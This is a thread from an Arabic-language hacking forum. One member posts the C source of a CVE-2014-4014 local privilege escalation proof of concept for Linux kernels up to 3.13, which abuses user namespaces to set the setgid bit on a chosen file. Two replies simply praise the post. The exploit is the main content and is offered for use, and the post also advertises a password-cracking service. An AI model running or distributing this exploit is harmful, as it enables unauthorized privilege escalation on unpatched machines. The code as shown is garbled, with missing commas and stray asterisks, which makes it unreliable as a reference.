1. Fox

    Fox Developer

    الأنتساب:
    ‏27 ديسمبر 2011
    المشاركات:
    81
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    8
    الإقامة:
    ŖĬỹДďҢ
    السلام عليكم و رحمة الله و بركاته

    Linux Kernel <= 3.13 - Local Privilege Escalation PoC gid

    معلومات اكثر

    Hashcrack - Online WPA WPA2 NTLM MD5 Password Cracker

    [​IMG]

    كود PHP:
    /**
    ** CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
    **
    ** Vitaly Nikolenko
    ** http://hashcrack.org
    **
    ** Usage: ./poc [file_path]
    ** 
    ** where file_path is the file on which you want to set the sgid bit
    **/
    #define _GNU_SOURCE
    #include <sys/wait.h>
    #include <sched.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <limits.h>
    #include <string.h>
    #include <assert.h>
    *
    #define STACK_SIZE (1024 * 1024)
    static char child_stack[STACK_SIZE];
    *
    struct args {
    ****
    int pipe_fd[2];
    ****
    char *file_path;
    };
    *
    static 
    int child(void *arg) {
    ****
    struct args *f_args = (struct args *)arg;
    ****
    char c;
    *
    ****
    // close stdout
    ****close(f_args->pipe_fd[1]); 
    *
    ****
    assert(read(f_args->pipe_fd[0], &c1) == 0);
    *
    ****
    // set the setgid bit
    ****chmod(f_args->file_pathS_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
    *
    ****return 
    0;
    }
    *
    int main(int argcchar *argv[]) {
    ****
    int fd;
    ****
    pid_t pid;
    ****
    char mapping[1024];
    ****
    char map_file[PATH_MAX];
    ****
    struct args f_args;
    *
    ****
    assert(argc == 2);
    *
    ****
    f_args.file_path argv[1];
    ****
    // create a pipe for synching the child and parent
    ****assert(pipe(f_args.pipe_fd) != -1);
    *
    ****
    pid = clone(childchild_stack STACK_SIZECLONE_NEWUSER SIGCHLD, &f_args);
    ****
    assert(pid != -1);
    *
    ****
    // get the current uid outside the namespace
    ****snprintf(mapping1024"0 %d 1\n"getuid()); 
    *
    ****
    // update uid and gid maps in the child
    ****snprintf(map_filePATH_MAX"/proc/%ld/uid_map", (longpid);
    ****
    fd open(map_fileO_RDWR); assert(fd != -1);
    *
    ****
    assert(write(fdmappingstrlen(mapping)) == strlen(mapping));
    ****
    close(f_args.pipe_fd[1]);
    *
    ****
    assert (waitpid(pidNULL0) != -1);
    }
     
  2. Spirtkoz

    Spirtkoz Developer

    الأنتساب:
    ‏11 أغسطس 2014
    المشاركات:
    25
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    رد: Linux Kernel <= 3.13 - Local Privilege Escalation PoC gid

    يعطيك العافية يا وحش
     
  3. security alqasem

    security alqasem موقوف لمخالفة الشروط

    الأنتساب:
    ‏26 مايو 2014
    المشاركات:
    54
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    المخالفات
    3
    رد: Linux Kernel <= 3.13 - Local Privilege Escalation PoC gid

    [FONT=GE_Bold]حلوووووووو[/FONT]
     

مشاركة هذه الصفحة